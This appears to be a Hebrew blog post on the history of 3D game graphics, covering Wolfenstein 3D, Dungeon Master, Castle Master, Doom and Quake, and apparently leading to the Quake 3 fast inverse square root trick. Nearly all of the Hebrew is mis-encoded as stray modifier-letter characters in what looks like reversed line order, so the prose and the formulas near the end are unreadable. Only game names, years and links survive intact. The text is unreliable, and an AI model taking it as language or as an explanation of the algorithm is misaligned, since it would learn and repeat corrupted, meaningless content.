˫˧˞˶˵ˮ ˣ˪˞˩ ˸ˣˬ˶ˣ˲˦˪˲ ˧˵˥˷ˬ.  ˫˧˵˥˷ˬˢ ˪˷ ˢ˵˧˲˶ˠˢ ˣˮˬˤ˪ .˭˞˩ ˫˧˞ˣ˶ ˫˸˞˷ ˢˬ˟ ˣ˪ˤ˪ˤ˸ ˪˞

 ˸ˣˬ˶ˣ˲˦˪˲ ˧˵˥˷ˬ ˶ˣ˸˟ ˫˧˧ˮ˷ˡ˥ ˣ˧ˢ ˣ˪˧˲˞ ˫ˢˣ (˭ˣˣ˩ˬ ˞ˣˢ ˧ˮˣ˦˶˵ˢ ˭ˣˮˠ˯ˢ) ˧ˡˬ˪ ˢ˟ˣ˦ ˢ˸˧˧ˢ ˣ˪˪ˢ

 "ˢ˵˪˥" ˢ˸˧˧ˢ ˫ˢ˟ ˢ˰ˣˮ˸ˢ˷ ˨˩˟-  ˨˯ˬ ˢ˪˰˧ˣ ˸˞˴ˬˮ ˞˧ˢ ˣ˟˷ ˨˯ˬˢˬ ˞˴˸ ˸ˣˬˡˢ˷ ˫ˣ˵ˬ˟ ,ˣˮ˧˧ˢˡ

 ˪˧ˡ˟ˢ˪) ˧˷˧˞ ˟˷˥ˬ ˪˰ ˣˮˬˤ˟ ˢˤ ˸˞ ˸ˣ˷˰˪ .˭˧˵ ˪˷ ˸ˣˬˡˢ ˫˰ ˡ˥˧ ˱˧˴˶ ˭˲ˣ˞˟ ˤˤ ˨˯ˬˢ ,˶˥˞

http://www.gadial.net/wp-content/uploads/2017/08/keen.jpg
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 ˸ˮ˩˸ˬˢ ˢ˧ˢ ˢˤ ˸˞ ˣ˶˷˲˧˞˷ ˸ˣˮ˩˸ˢ ˧˪ˣ˪˰˸˪ ˧˞˶˥˞ˢˣ ,˧˪˞˧ˣˣ˧˶˦ ˢ˧ˢ ˞˪ (ˣˡˮ˦ˮ˧ˮ ˣˬ˩ ˢ˪ˣ˯ˮˣ˵ˬ

˪˷ ˧˷˞˶ˢ id software, ˶˵ ˭ˣ'ˠ˵ˬ. 

 ˶˥˞ ˶ˠ˸˞ ˫˰ ˵˯˰˸ˢ˪ ˶˟˰ ˵ˬ˶˵ ˭˧˵ ˪˷ ˰ˣˮˬˢ ˧˶˥˞-  ˠ˴ˣ˧ ˫˪ˣ˰ˢ˷ ˫ˣ˵ˬ˟ .˧ˡˬˬ ˸˪˸ ˧˲˶ˠ ˰ˣˮˬ

 ˢ˞˧˴ˣˢ˷ ˶˸ˣ˧˟ ˫˯˶ˣ˲ˬˢ ˵˥˷ˬˢ .˫˧˵˥˷ˬ ˢ˸ˣ˞˷ ˸ˣˬˡˢ ˪˷ ˦˟ˬˢ ˸ˡˣ˵ˮˬ ˠ˴ˣˬ ˞ˣˢ ,ˡ˴ˢˬ

˞˶˵ˮ ˵ˬ˶˵ ˶˴˧˷ ˭ˣ˷˞˶ˢ ˰ˣˮˬˢ ˫˰ ˢ˶˟˥ˢ Wolfenstein 3D. ˢ˞˶ˮ ˢˤ ˢ˩˩: 

 

˸ˣˢˬ ˢˮˣ˷ ˢ˲ ˢ˵˧˲˶ˠˢ ˠ˧˴ˬ ˦ˣ˷˲ ˵˥˷ˬˢˣ ˡ˧˟ ˶˧˧ˣ˴ˬ ˪˩ˢ ,˭˧˵ ˶ˡˮˬˣ˵ ˪˴˞ .˭˧˵ ˶ˡˮˬˣ˵ ˪˷ ˣˤˬ ˸˧

 :˵˥˷ˬ ˧ˡ˩ ˨ˣ˸ ˟˷˥ˬˢ ˧ˡ˧˟ ˸˶˴ˣˮ ˢ˞ˣ˶ ˭˵˥˷ˢ˷ ˢˮˣˬ˸ˢ ˭˧˧˦˷ˮ˲˪ˣˣ˟ ˸˞ˤ ˸ˬˣ˰˪ .ˣ˪˪ˢ ˫˧˶ˣ˧˴ˢ ˸˞

 ˢ˶ˣ˦˯˵˦ˢ ˢ˸ˣ˞ ˪˟˞ ,˟ˣ˷ˣ ˟ˣ˷ ˢ˧˪˰ ˫˧˶ˤˣ˥˷ ˸ˣ˞˶˪ ˶˷˲˞ˣ ˶˧˵ ˪˷ ˢ˶ˣ˦˯˵˦ˢ ˸˞ ˶˧˧˴ ˣˢ˷˧ˬ

˭˲ˣ˞˟ ˸˶˧˧ˣ˴ˬ ˢˮˣ˷ ˸˴˵  ˫˧˞ˣ˶ ˫˞ ;˶˸ˣ˧ ˭˦˵ ˣ˸ˣ˞ ˫˧˞ˣ˶ ,˶˸ˣ˧ ˵ˣ˥˶ ˶˧˵ˢ ˫˞ .˫˧˞ˣ˶˷ ˶˧˵˪ ˫˞˸ˢ˟

 ˫˧˶˧ˢ˟ ˫˧ˬ˰˲˪ ˸ˣ˶˧˵ˢ ,˸ˣ˥˲ˢ ˪˩˪) ˢ˪˪˴ˢ ˷˧ˣ ˢ˶ˣ˞˸ ˷˧ .˸˧ˮˣ˯˩˪˞ ˢ˶ˣ˴˟ ˠ˴ˣˬ ˶˧˵ˢ ,ˡ˴ˢˬ ˣ˸ˣ˞

 ˵ˣ˧ˡ˟ ˨˧˞ ˟˷˥ˬˣ "ˢ˞˶ˮ ˶˧˵ ˨˧˞" ˪˷ ˢˮˣˬ˸ ˥˵ˣ˪ ˟˷˥ˬˢ ,˸ˣ˶˥˞ ˫˧˪˧ˬ˟ .ˢˬˣˡ˩ˣ ,(˫˧ˢ˩ ˫˧ˬ˰˲˪ˣ

˵ˢˢ˶˧ˤ˟˷ ˫˧˦˶˲ˢ ˶˞˷ˣ ˭˵˥˷ˢ ˪˷ ˧˥˩ˣˮˢ ˫ˣ˵˧ˬˢ ˪˰ ˯˯˟˸ˢ˟ ˫˧ˠ˴ˣˬ ˸ˣ˧ˢ˪ ˫˧˶ˣˬ˞ ˸ˣ˶˧. 

˞ˣˢ ˣˬ˴˰ ˵˥˷ˬˢ˷ ˟˪ ˣˬ˧˷ xl-˧ˡˬˬ:  ˢ˶ˣ˥˞ˣ ˢˬ˧ˡ˵ ,ˢ˪˞ˬ˷ ,ˢˮ˧ˬ˧ ˵˶ ˰ˣˮ˪ ˢ˪ˣ˩˧ ˭˵˥˷ˢ ˪˷ ˸ˣˬˡˢ

 "ˢ˦ˬ˪"ˣ "ˢ˪˰ˬ˪" ˸˩˪˪ ˸ˣ˶˷˲˞ ˢˤˢ ˵˥˷ˬ˟ ˭˧˞ .(ˣ˪˞ˬ ˫˧˧ˮ˷ ˪˷ ˟ˣ˪˧˷ ˞ˣˢ˷ ˭ˣ˯˩˪˞˟ ,˭˟ˣˬ˩ˣ)

˪˩˟ ˫˧˞˶ˣ˵ ˢˤ ˠˣ˯ˬ ˵˥˷ˬ˪ .ˣ˪˷ ˢ˰ˣˮ˸ˢ ˧ˮˣˣ˧˩ ˶˲˯ˬ˟ ˞˪ ,˭˵˥˷ˢ ˪˷ ˦˟ˬˢ ˸ˡˣ˵ˮ˟ ˞˧ˢ ˸ˣ˟˧˷˥ˢ .˪

 ,˨˯ˬˢ ˫ˣ˪˧˴˟ ˫˩ˬ ˢˤ ˸˞ ˧˸˩˯˥ ,˭˩˟ˣ ?ˣˤˢ ˢ˵˧˲˶ˠˢ ˪˩ ˫˰ ˫˧˷ˣ˰ ˢˬˣ ."˭ˣ˷˞˶ ˱ˣˠˬ ˢ˪ˣ˰˲ ˵˥˷ˬ"

http://www.gadial.net/wp-content/uploads/2017/08/Wolf3D.png
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˷˪ ˞ˣˢ (˸˧ˡˬ˧ˬ ˸˪˸ ˢ˵˧˲˶ˠ ˧˪ˣ˦ˮ ,˫˧ˮˣˬ˷ˢ ˸ˣˮ˷ˬ ˫˧˵˥˷ˬ ˪˰ ˯˯ˣ˟ˬ˷) ˵˥˷ˬ˟ ˭ˣ˧˰˶ˢ ˪˟˞ ˵˥

 ˪˪ˣ˩ ,˫ˢ˧˟˷ˣ˧ ˸˞ ˪˯˥ˬˣ ˢ˧ˮ˷ˢ ˫˪ˣ˰ˢ ˸ˬ˥˪ˬ˟ ˫˧˧˴˞ˮ ˫˧ˤˣ˰ˬ ˧ˮˬ ˪˩˪ ˷˪ˣ˲˷ ˧ˡˣˢ˧ ˧˞˵˧˶ˬ˞ ˪˧˧˥

ˣˢ˷˧˸ˬ ˣˬ˴˰ ˶˪˦˧ˢ. 

 ˫˰ ˫ˠ ˨˩ ,˭˧˵ ˫˰ ˣˬ˩Wolf3D,  ˣ˪˷ ˢ˵˧˲˶ˠˢ .˞˦ˣˤ ˢ˩˲ˢˬ ˪˪ˣ˥ ˵˥˷ˬˢ ˪˧˟˷˟ ˶˴˧ ˵ˬ˶˵˷ ˰ˣˮˬˢ

ˢ˸˞˶ˮ ˟ˣ˦  ˧ˡ˩ ˶ˢˬ ˵˧˲˯ˬ ˢ˶˴ˣˮ ˞˧ˢ ˧ˮ˷ ˡ˴ˬ ˪˟˞ ,ˡ˥˞ ˡ˴ˬ ˷˶ˡˮ˷ ˧˲˩ ,˵˪˥ ˳ˣ˶˧ ˵˥˷ˬˢ˷

 ˫˧˵˥˷ˬ˪ ˸ˣ˞ˬˠˣˡ ˢ˞˶ˮ ˣ˞ˣ˟ .˷ˬˬ ˪˷ ˢ˩˲ˢˬ ˢ˧ˢ ˣ˪˞ ˧ˮ˷ ˪˷ ˟ˣ˪˧˷ˢ .ˢˤ˩˷ ˶˧ˢˬ ˸ˣ˧˶˧ ˵˥˷ˬˬ

˫˷˟ ˫˧˩ˣ˟ˬ ˵˥˷ˬˬ ˨˯ˬ ˫ˣ˪˧˴ ˢˮˢ ,˸˧˷˞˶ .ˢˮ˸˷ˢ ˢˬ ˭˧˟ˢ˪ ˧ˡ˩ ˶˸ˣ˧ ˫˧ˮ˷˧ Dungeon Master -ˬ

1987: 

 

 "˸ˣ˞ˬ˶" ˣˤ ˪˟˞ ,˸˧ˡˬˬ ˸˪˸ ˸˧˞˶ˮ ˢˮˣˬ˸ˢ ˭˞˩- ˣˢ˷˧ˬ  ˪˩ˢ ˸˞ ˡ˧˟ ˶˧˧˴-  "˟ˣ˶˵ ˶˧˵" ˪˷ ˶ˣ˧˴ ˫ˠ

 ˭˲ˣ˞˟ ˰ˣˮ˪ ˶˷˲˞ ˧˞˷ ˞ˣˢ ˢˤ ˪˷ ˶˧˥ˬˢ .ˢˬˣˡ˩ˣ "ˡ˴ˢˬ ˶˧˵" ˪˷ ˶ˣ˧˴ ˫ˠˣ "˵ˣ˥˶ ˶˧˵" ˪˷ ˶ˣ˧˴ ˫ˠˣ

 ˧˷˲ˣ˥-  ˪˷ ˫˧˟ˣ˟˧˯ ˰˴˟˪ ˢ˪ˣ˩˧ ˫˧˵˥˷ˬ ˢ˸ˣ˞˷ ˸ˣˬˡˢ90  ˸ˣ˴˟˷ˬ ˢ˶ˣ˥˞ˣ ˢˬ˧ˡ˵ ˰ˣˮ˪ˣ ˸ˣ˪˰ˬ

˟ .ˣˢˤˣ ˫˰˲ ˪˩˟ ˸ˣˬ˪˷- Wolf3D˥ ˞˧ˢ ˢ˰ˣˮ˸ˢ ˢ˟˶ˢ) ˧˶ˬˠ˪ ˢˮˣ˷ ˞˧ˢ ˵˥˷ˬˢ ˪˷ ˢ˷ˠ˶ˢˢˣ ˸˧˷˲ˣ

.(˸ˣ˧˶˧ ˵˥˷ˬ˪ ˢˬ˧˞˸ˬ ˶˸ˣ˧ 

  

http://www.gadial.net/wp-content/uploads/2017/08/5327-dungeon-master-dos-screenshot-combat-s.gif
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˫˷˟ ˸ˣ˞˵˸˲˶ˢ ˵˥˷ˬˬ ˨˯ˬ ˫ˣ˪˧˴ ˢˮˢˣ Castle Master -ˬ1990: 

 

 ˪˷ ˠˣ˯ ˣ˪˧˲˞ˣ ˫ˢ˧˪˞ ˪˩˸˯ˢ˪ ˶˷˲˞ˣ "ˢ˦ˬ˪"ˣ "ˢ˪˰ˬ˪" ˫ˠ ˷˧ .˧˶ˬˠ˪ ˸˧ˡˬˬ ˸˪˸ ˞˧ˢ ˢ˵˧˲˶ˠˢ ˭˞˩

 ˶˧˥ˬˢ .(˪ˣ˲˧˪ ˶˷˲˞ ,˪˷ˬ˪) ˫ˢ˧˪˞ ˸˩˪˪˸˧˞˶ˮ ˣˤˢ ˢ˵˧˲˶ˠˢ˷ ˞ˣˢ ˣˢ˷ˬ ˞˪ ˷ˬˬ  ˪˷ ˟˴˵ˢˣ

 ˷˧˷ ˧˪˟ ˫ˢ˟ ˰ˣˠ˲˪ ˫˧˯ˮˬˣ ˢ˲˧˴˶ ˞˪ ˢ˶ˣ˴˟ ˫˧ˤˤ ˣ˞ ˫˧ˡˬˣ˰˷ ˫˧˶ˣ˴˧ ˫˧˪˪ˣ˩ "˸ˣ˟˶˵"ˢ) ˧˦˧˞ ˵˥˷ˬˢ

 ˦ˣ˦˧˷ ˪˰ˣ ˫˧˪ˤ˞˲ ˪˰ ˣ˶˵˧˰˟ ˯˯ˣ˟ˬˣ ˢˮˢˬ ˧ˡ ˣˬ˴˰ ˵˥˷ˬˢ .(˱˯ˣˬ ˨˶˰ ˫ˣ˷ ˭˵˥˷ˢ ˪˷ ˢˤˣˤ˸˪

˪˟˞ ,˫˧˶˟ˡ ˪˷ ˷ˣ˲˧˥ˣ ˢ˪ˣ˰˲ ˵˥˷ˬ ˞˪ ˢˤ. 

 ˰˦˵ ˸˞ ˨˧˶˰ˢ˪ ˧ˡ˩ ˫˧˧˦˧˶˵ ˫ˢ ˧ˬ˰˦˪˷ ˫˧˶˟ˡ ˢˬ˩ ˞ˣˢ ˢˤˢ ˨ˣ˶˞ˢ ˶ˣ˲˧˯˟ ˫˩˪ ˶ˬˣ˪ ˢ˴ˣ˶ ˧ˮ˞˷ ˢˬ

˪˧˰˪˷ ˶ˤˣˬˢ ˡˣ˵ˢ: 

¶ ˟˷˥ˬ ˧˵˥˷ˬ˟ ˶˸ˣ˧˟ ˟ˣ˷˥ ˶˟ˡ ˞˧ˢ ˢ˵˧˲˶ˠ. 

¶  ˸ˣ˶˧ˢˬ ˪˰ ˞˪ˣ ˢ˵˧˲˶ˠˢ ˸ˣ˩˧˞ ˪˰ ˞˪ ˶˷˲˸ˢ˪ ˶˷˲˞ ˧˞ ˫˧˧ˡˬˬ ˸˪˸ ˢ˪ˣ˰˲ ˧˵˥˷ˬ ˪˰ ˶˟ˣˡˬ˷˩

˸˶˧˴˧ ˸ˣ˧ˢ˪ ˫˧˟˧˧˥ .˵˥˷ˬˢ˫ˢ˧ˮ˷ ˸˞ ˠ˧˷ˢ˪ˣ ˫˧˧. 

¶ ˡˣ˵ˢ ˸ˬ˶˟ ˸ˣ˧ˣˬ˩˥˸ˢ ˧ˡ˧ ˪˰ ˢ˸˧˧ˢ ˣ˪˪ˢ ˫˧˶˟ˡˢ ˸˞ ˠ˧˷ˢ˪ ˨˶ˡˢ ˣˮˬˤ˟. 

¶  ˫˧ˠˣ˥˪ ˳ˣ˥ˬ ˣ˪˷ ˫˷ˢ ˸˞ ˫˧˶˧˩ˬ ˧˷ˣ˵˟˷ ˸ˣ˶ˬ˪ ˧ˮ˧˴˶ ˨˶ˡ ˳˶ˣ˲ ˸˩˧˸˥ ˢ˧ˢ ˵ˬ˶˵ ˭ˣ'ˠ

˫˧˧˦ˮˣˣ˪˶ˢ. 

 ˪˷ ˧˲˧˴˲˯ˢ ˢ˶˵ˬ˟Wolf3D  ˟ˣ˴˧˰ˢ ,˧˲˶ˠˢ ˰ˣˮˬˢ ˪˷ ˟ˣ˪˧˷ ˭˞˩ ˢ˧ˢ .ˢˬ˪˸˷ˢ ˢ˰˵˷ˢˢ ˪˷ ˧ˮˣˮˠ˯ˢ

 ˫˰ ˫ˠ ˰˶ ˞˪ ˡ˟˰˷ ˪ˡˣˬ ,ˣ˪˷ ˭ˣ˷˞˶ˢ ˵˪˥ˢ ˪˷ ˸˧ˬˮ˧˥ ˢ˴˲ˢ) ˳˲ˣˢ ˞ˣˢ ˣ˟˷ ˫˩˥ˢ ˭˲ˣ˞ˢˣ ˵˥˷ˬˢ

ˢ˪ˣˡˠ ˢ˥˪˴ˢ ˢ˧ˢ ˵˥˷ˬˢˣ (˭˧˵ ˶ˡˮˬˣ˵.id software   ˸ˣ˧˶˧ ˧˵˥˷ˬ ˪˷ ˭ˣˣ˧˩˟ ˢ˩˧˷ˬˢˣ ˟ˣ˦ ˧˩ ˢ˸˞˶

 ˪˷ ˢˤˬ ˢ˟˶ˢ˟ ˫˩˥ˣ˸ˬˣ ˷ˡ˥ ˧ˡˬˬ ˸˪˸ ˰ˣˮˬ ˶˴˧ ˵ˬ˶˵ ˭ˣ'ˠ .˭ˣ˷˞˶ ˱ˣˠˬWolf3D,  ˟˴ˣ˰ ˣ˯˧˯˟ ˪˰ˣ

ˢ˧˶ˣ˦˯˧ˢ˟ ˶˸ˣ˧˟ ˫˧˟ˣ˷˥ˢ ˟˷˥ˬˢ ˧˵˥˷ˬˬ ˡ˥˞ - Doom.  ˣˬ˩ ˞ˣˢ ˫ˣˡ ,ˣ˯˧˯˟˟Wolf3D ˫˧ˡ˷ ˫˰ ˵˶

http://www.gadial.net/wp-content/uploads/2017/08/castlemaster-1.jpg
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 ˢ˶˟˥ˢ ˢ˶˟˰ (ˣ˪˷ ˨˷ˬˢˢˣ) ˫ˣˡ ˪˷ ˢ˪ˣˡˠˢ ˢ˥˪˴ˢˢ ˶˥˞˪ .ˢ˶˧˦ ˫ˣ˵ˬ˟ ˫ˣˮˢ˧ˠˢˣ ˫˧˴˞ˮ ˫ˣ˵ˬ˟

ˡˬ˧ˬ ˸˪˸ˬ ˸ˣ˧˶˧ ˧˵˥˷ˬ ˪˷ ˢ˷ˡ˥ ˢ˶ˡ˯˪ - Quake. ˞˧ˢ ˢ˪˧˪˰ˢ ˫ˢ˟˷ éˢ˞ éˣ˦ ˸˲˩˞ ˧ˬ˪ ,˟

˟ .˪˪˩˟-1999 ˞˴˧ Quake 3  .˫˧˲˸˸˷ˬ ˧˟ˣ˶ˬ ˸ˣ˟˶˵ ˸˟ˣ˦˪ ˥ˮˤˮ ˧ˡ ˢ˪˧˪˰ ˪˷ ˢˤˢ ˦˲˯ˮˣ˵ˢ ˪˩ ˣ˟˷

˞˪ˬ ˭˲ˣ˞˟ ˸˧ˡˬ˧ˬ ˸˪˸ ˢ˸˧˧ˢˣ ˟ˣ˦ ˶˸ˣ˧ ˢ˟˶ˢ ,ˢ˟˶ˢ ˢ˸˞˶ˮ ˶˟˩ ˢ˵˧˲˶ˠˢ ˢˤˢ ˟˪˷˟: 

 

˷ .˫˧˵ˤ˥ ˶˸ˣ˧ ˣ˧ˢ ˫˧˟˷˥ˬˢ ,˸˧˷˞˶ ?ˢ˟ˣ˦ ˶˸ˣ˧ ˢ˵˧˲˶ˠ ˶˷˲˧˞˷ ˣ˲˪˥˷ ˫˧ˮ˷˟ ˢˮ˸˷ˢ ˢˬ ˫ˢ ,˸˧ˮ

 ˸ˣˮ˩˸ ˪˟˞ .("˧˲˶ˠ ˳˧˞ˬ" ˣ˸˰˷˟ ˞˶˵ˮ˷ ˢˬ) ˢ˵˧˲˶ˠ ˸ˠ˴ˢ˪ ˫˧˧ˡˣ˰˧˧ ˢ˶ˬˣ˥ ˧˟˧˩˶˟ ˷ˬ˸˷ˢ˪ ˣ˪˧˥˸ˢ

˧˶ˣ˥˞ˬ˷ ˰ˣˮˬˢˣ ,˧˦˧˶˵ ˦˵˲˯˞ ˢ˧ˢ ˭˧˧ˡ˰ ˰ˣˮˬˢ ˪˷ ˫˩˥ Quake 3  ˵ˬ˶˵ ˭ˣ'ˠ˷˩ ˭˩˪ .ˡˣ˞ˬ ˥˪˴ˣˬ ˢ˧ˢ

 ˸ˮ˷˟ ˰˧ˡˣˢ2005 ˞˟˷ ˧ˬ ˪˩ ˸˟ˣ˦˪ ˸˷˶˪ ˶˶˥ˣ˷˧ ˰ˣˮˬˢ ˪˷ ˞˪ˬˢ ˶ˣ˵ˬˢ ˡˣ˵˷  ˣ˸ˣ˞ ˞ˣ˶˵˪ ˣ˪

 ˣ˟ ˢ˪ˠ˸ˢ ˤ˞ˣ .ˡˣ˵ˢ ˸˞ ˞ˣ˶˵˪ ˣ˴˶ ˫˧˷ˮ˞ˣ .ˢ˪ˣˡˠ ˢ˥ˬ˷ ˢ˸˧˧ˢ (˶ˣ˸˟ ˞˟ˢ ˰ˣˮˬˢ ˥˸ˣ˲ ˶˟˩ ˫˧˧˸ˮ˧˟)

˭˞˩ ˫˧˵˯ˣ˰ ˣˮ˥ˮ˞ ˣ˟˷ ˶˴˶˴˵ˢ ˡˣ˵ˢ ˰˦˵. 

 ˢ˵˧˲˶ˠ ˸ˣ˷˰˪ ,ˡˣ˞ˬ ˢˬ˩˥ ˢ˶ˣ˴˟ ,˶ˤˣ˰ ˞ˣˢ :ˢ˶˴˵˟ ˪˟˞ ,ˢ˷ˣ˰ ˢˤˢ ˡˣ˵ˢ ˵ˣ˧ˡ˟ ˢˬ ˶˧˟˯˞ ˦˰ˬ ˡˣ˰

 ˣˮˬ˩˯ˢ ˶˟˩ˣ ˢ˶˧ˢˬˣ ˢ˲˧˞˧ˢ ˶˸ˣ˧ ˸ˮ˧˧ˮ˰ˬˢ ˢ˪˞˷ˢ .˟ˣ˷˥ ˢˤ˷ ˧ˬ  ˡˣ˷˥ˢ ˫˸˯ˢ ˭ˬ .˧˸ˬˣ ,ˣ˸ˣ˞ ˟˸˩

 ˷ˮ˶˟ˢ ˢˤ ˧˪ˣ˞ ,˞ˣˢ ˞˪ ˢˤ ,˞˪˷ ˸ˣ˦˷˲˟ ˶ˬ˞ ˞ˣˢ ˣ˸ˣ˞ ˣ˪˞˷˷˩ ˪˟˞ ,ˣˬ˴˰ ˵ˬ˶˵ ˭ˣ'ˠ ˢ˧ˢ ˧ˡ˧˧ˬˢ

˞ˣˢˢ ˶˥˞ˢ é˷ˣ˲˧˥ˢ ˪˰ ˡˣ˰ ˞ˣ˶˵˪ ˶˷˲˞ .˶˷˵ ˪˩ ˷˧˥˩ˢ ˞ˣˢˢ ˶˥˞ˢ ˷ˮ˶˟ˢ ˫ˠ ˪˟˞ ˭˞˩.  ˢ˶ˣ˷ˢ

 ˢˮˣ˸˥˸ˢ- ˪˷ ˰ˣˮˬˢ ˶˷˞ˬ ˢ˟˶ˢ˟ ˵˧˸˰ ˞ˣˢ˷ ˢ˞˶ˮ˩ .ˢˤˢ ˡˣ˵ˢ ˸˞ ˟˸˩ ˧ˬ ˠ˷ˣˬ ˭˧˞ ˡ˥˞ ˱˞˪ 

Quake 3  ˰˧˸˲ˬ ˧˶ˬˠ˪ ˞˪ ˢˤ .ˢˬˣ˪˰˸ ˦ˣ˷˲ .˫˷˪ ˪ˠ˪ˠ˸ˢ ˵ˣ˧ˡ˟ ˨˧˞ ˶ˣ˶˟ ˞˪ˣ-  ˡˣ˵ ˫˰ ˢˤ ˢ˩˩

 ˧˪˟ ˢˬ˧ˮ˲ "˫˧˪ˠ˪ˠ˸ˬ"˷ ˫˧˶˟ˡ ˷˧ ,˧ˮ˧˴˶ ˟˷˥ˬ ˪˟˞ .˭˞˩ ˨˪ˣˢ ˢˬ ˨˩ ˶˥˞ ˠ˷ˣˬ ˢ˧ˢ˧ ˡ˥˞ ˱˞˪˷

 ˡ˰ ˢ˪˧˰˧ ˢ˶ˣ˴˟ ˸ˣ˷˰˪ ˶ˣˬ˞ ˞ˣˢ˷ ˢˬ ˸˞ ˢ˷ˣ˰ ˞ˣˢ ˧˩ ˶˵˧˰˟ .˨˩˪ ˡ˥ˣ˧ˬ˟ ˢ˲˧ ˢˬˠˣˡ ˞ˣˢ ˢˤˢ ˡˣ˵ˢ

 ˣ˪˷ ˢˡˣ˟˰ˢ ˸˞ ˣ˷˰ˣ ˢ˪˧˪˟ ˣ˞˟ ˫˧ˡˬˠ˷ ˪˷ˣ˩ˢ ˶˪ˡˮ˯ˢ ˪˷ ˶ˣ˲˧˯ˢ ˸˞ ˶˧˩ˤˬ ˸˴˵ ˢˤ .˰˧˸˲ˢ˪

ˢ˟˶ˢ˟ ˢ˟ˣ˦ ˢ˶ˣ˴˟ˣ ,ˣ˪˧˟˷˟. 

https://www.beyond3d.com/content/articles/8/
https://www.beyond3d.com/content/articles/8/
http://www.gadial.net/wp-content/uploads/2017/08/Quake-3-Torrent-3.jpg
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˵˶˲ ˧ˮ˷ ) ˣ˟˷ ˫ˣ˷ ˫˧ˮ˧˟ˬ ˞˪ ˪˟˞ ˪˩ˢ ˫˧ˮ˧˟ˬˣ ˷˧˶˟˧'ˠ ˣˬ˩ ˢ˞˶ˮ˷ ˡˣ˵ ˞ˣ˶˵˪ ˫˧ˡˬˣ˪ ˣˮ˥ˮ˞

˶˟ˡ( 

˶˲˯ˬ ˸˥˵ˣ˪˷ ˢ˧˴˵ˮˣ˲ ˣˤ :ˢ˷ˣ˰ ˞ˣˢ ˢˬ ˶˧ˢ˟ˮ ˣ˞ˣ˟ ,ˡˣ˵˪ ˪ˣ˪˴˪ ˪˧˥˸ˮ˷ ˧ˮ˲˪ ὼ ˸˞ ˸˟˷˥ˬˣ ,
Ѝ

 

˪˷ ˷˶ˣ˷ˢ ˪˷ ˧˩˲ˣˢˢ ˸˞ ˶ˬˣ˪˩ .ὼ  ˪˟˞ ,˨˷ˬˢ˟ ˸˞ˤ ˶˧˟˯˞ ?ˢ˵˧˲˶ˠ˪ ˟ˣ˷˥ ˢˤ ˢˬ˪ .˪˩ˢ ˢˤ

˳˥ˬ ˸˶ˣ˷˟  ˣˬ˩ ˸ˣˮ˟˪ ˞˪ˣ ˢ˩˩ ˢˤ ˸˞ ˸ˣ˷˰˪ ˢˬ˪ ˞˧ˢ ˸˶˥˞ ˢ˪˞˷ .˫˧˶ˣ˦˵ˣ ˫˧˪ˬ˶ˮˬ ˢ˩˩ ˧˩ :˸˥˞

˸˞ ˸˥˵ˣ˪˷ ˢ˧˴˵ˮˣ˲ ˫˧˧ˣ˲˷ ˫ˡ˞ ˧ˮ˟ ὼ ˸˞ ˸˟˷˥ˬˣ Ѝὼ  ˢ˪˧ˠ˶ ˵ˣ˪˧˥ ˸˪ˣ˰˲ ˸ˣ˷˰˪ ˶˷˲˞ ˨˩ ˶˥˞ˣ

˸˞ ˟˷˥˪ˣ 
Ѝ

  ˞˧ˢ ˢ˟ˣ˷˸ˢ .˸ˣ˟˶˸ ˧ˮ˟ ˣˬ˩ ˸ˣ˪˧˰˧.  ˫˧˷ˣ˰ ˣˮ˥ˮ˞˷ ˢˬ ˪˩˟ ˥˸˲ˬˢ ˸˪˧ˬ ˞˧ˢ ˸ˣ˪˧˰˧

ˢ˪ˣ˰˲ ˪˪˩ ˨˶ˡ˟ ˞˧ˢ ˵ˣ˪˧˥ ˸˪ˣ˰˲ .ˢ˲ ˰ˣ˴˧˟˪ ˢ˶˵˧  .˞˪ ˢˬ˪ ,ˢˮˬˬ ˰ˮˬ˧ˢ˪ ˶˷˲˞ ˫˞ ;˸˧˯˥˧

˸˞ ˸˟˷˥ˬ˷ ˡˣ˞ˬ ˢ˪˧˰˧ ˢ˧˴˵ˮˣ˲ ˣˮ˪ ˷˧ ˫˞ ˤ˞ ,ˢ˶˵˧ ˸ˣ˥˲ ˞˧ˢ ˪˲˩ ˸˪ˣ˰˲ ,˪˧ˡ˟ˢ˪   
Ѝ

  ˪˵ ˸˧˯˥˧

˸˞ ˟˷˥˪ :Ѝὼ ˢ˪˲˩ˬˢ ˸˞ ˫˧˟˷˥ˬ ˦ˣ˷˲ .ὼϽ
Ѝ

  ˸˞ ˸ˣ˪˧˰˧˟ ˟˷˥˪ ˪˩ ˫ˡˣ˵ ˪˷ ˶˧˥ˬˢ ,
Ѝ

 ˞ˣ ˰˴˟˪ ˤ

˸˞ ˟˷˥˪ ˫ˡˣ˵ ˪˷ ˶˧˥ˬˢ ˶˷˞ˬ ˶˸ˣ˧ ˪ˣˤ ˢ˧ˢ˧ ˢ˪˲˩ˢˢ ˸˞ Ѝὼ ˢˮˬˢ ˸˞ ˟˷˥˪ ˤ˞ˣ 
Ѝ
. 

 ?˶ˤˣˬ ˸˴˵ ˫˧˷˧ˠ˶ˬ ˫˸˞ ˫˞ˢ .˸ˣ˷˰˪ ˶ˣˬ˞ ˞ˣˢ ˢˬ ˫˧˰ˡˣ˧ ˫˸˞˷˩ ˣ˧˷˩˰ ,ˡˣ˵ˢ ˪˰ ˱˯ˣˮ ˦˟ˬ ˣ˥˵

˷˧ˠ˶ˬ ˧ˮ˞ ˡˣ˞ˬ ˷˶ˣ˷ ˟ˣ˷˧˥ .˶ˤˣˬ é ˫ˠ ˰˴˟˧ ˡˣ˵˷ ˶˷˲˞ ˨˧˞ ?˞˪ ,˨˟ˣ˯ˬ ˸ˣ˧ˢ˪ ˶ˣˬ˞˷ ˣˢ˷ˬ ˢˤ

˥ ˷˧ˠ˶ˬ ˢ˲ ˣˢ˷ˬ ?˵˧ˣˡˬˣ ˶˧ˢˬ ˢˤ ˸˞ ˢ˷˰˧ˣ ,ˡˣ˵ ˸ˣ˶ˣ˷ ˦˰ˬ ˨˩ ˪˩˟ ˡ˥˧˟ ˣ˪˷ ˧˩˲ˣˢ ˫ˠˣ ˷˶ˣ˷ ˟ˣ˷˧

 ˶ˡ˸˯ˬ ˪˩ˢ ˪˟˞ .˶ˡ˸˯ˬ ˞˪ ˞ˣˢ ˣ˪˧˞˩- ˢ˲˧ ˡˣ˞ˬ ˡ˟ˣ˰ ˢˤˣ ,ˡ˟ˣ˰ ˢˤ. 

 

